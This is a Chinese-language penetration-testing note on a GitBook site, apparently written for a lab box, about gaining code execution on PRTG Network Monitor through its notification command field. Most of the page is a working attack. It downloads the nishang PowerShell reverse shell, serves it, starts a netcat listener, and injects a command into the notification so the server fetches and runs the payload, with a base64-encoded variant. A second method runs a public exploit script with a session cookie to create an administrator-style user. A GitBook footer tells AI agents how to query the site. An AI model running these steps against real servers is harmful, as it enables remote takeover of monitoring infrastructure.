> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/prtg-network-monitor-cms-exploitation.md).

# PRTG Network Monitor

<figure><img src="/files/183177e70e6ed8b10092846805ffe5e40cd225a0" alt=""><figcaption></figcaption></figure>

## PRTG Network Monitor 远程代码执行

PRTG 可以在服务器上执行通知操作。如果经过身份验证的会话拥有创建或修改通知的权限，则可以滥用通知命令字段来执行 PowerShell 并获得代码执行。

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>" %}

## 方法 1 - 手动滥用通知

将 PowerShell 反向 shell 脚本下载到攻击者机器：

```bash
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
```

将回调处理程序追加到脚本中，并确保监听 IP 和端口与你的环境一致：

```bash
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1
```

托管该文件：

```bash
python3 -m http.server 80
```

启动监听器：

```bash
rlwrap nc -nvlp 443
```

在 PRTG 中，进入 `Setup > Account Settings > Notifications` 并创建一个运行程序或脚本的新通知操作。

<figure><img src="/files/e22c5fae9eb55edec2bf14c3e4368871b3a72731" alt=""><figcaption></figcaption></figure>

使用通知命令让服务器下载并执行托管的 PowerShell 脚本：

{% code overflow="wrap" %}

```powershell
abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')"
```

{% endcode %}

<figure><img src="/files/a8f7cc1d1ba136d80cf032531453e2027b138c07" alt=""><figcaption></figcaption></figure>

如果请求到达 Web 服务器但反向 shell 没有回连，则将 PowerShell 脚本转换为 UTF-16LE Base64 并使用 PowerShell `-enc`:

```bash
iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt
```

然后将编码后的载荷放入通知命令中：

```powershell
abc.txt | powershell -enc <BASE64_PAYLOAD>
```

<figure><img src="/files/68d61d3abb355689e64657f66fae316b18811f1b" alt=""><figcaption></figcaption></figure>

## 方法 2 - 自动化利用

搜索公开的 PRTG Network Monitor 漏洞利用并复制匹配的脚本：

```bash
searchsploit -m windows/webapps/46527.sh
```

<figure><img src="/files/5cd292c61a72460c4025278bcd028d594f65fcf7" alt=""><figcaption></figcaption></figure>

使用目标 URL 和已认证的会话 cookie 运行脚本：

{% code overflow="wrap" %}

```bash
./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D"
```

{% endcode %}

该漏洞利用会创建一个新用户：

* 用户名： `pentest`
* 密码： `P3nT3st!`

<figure><img src="/files/cd887d72a5dfa5455d53272e5289e34eb866b9df" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/prtg-network-monitor-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
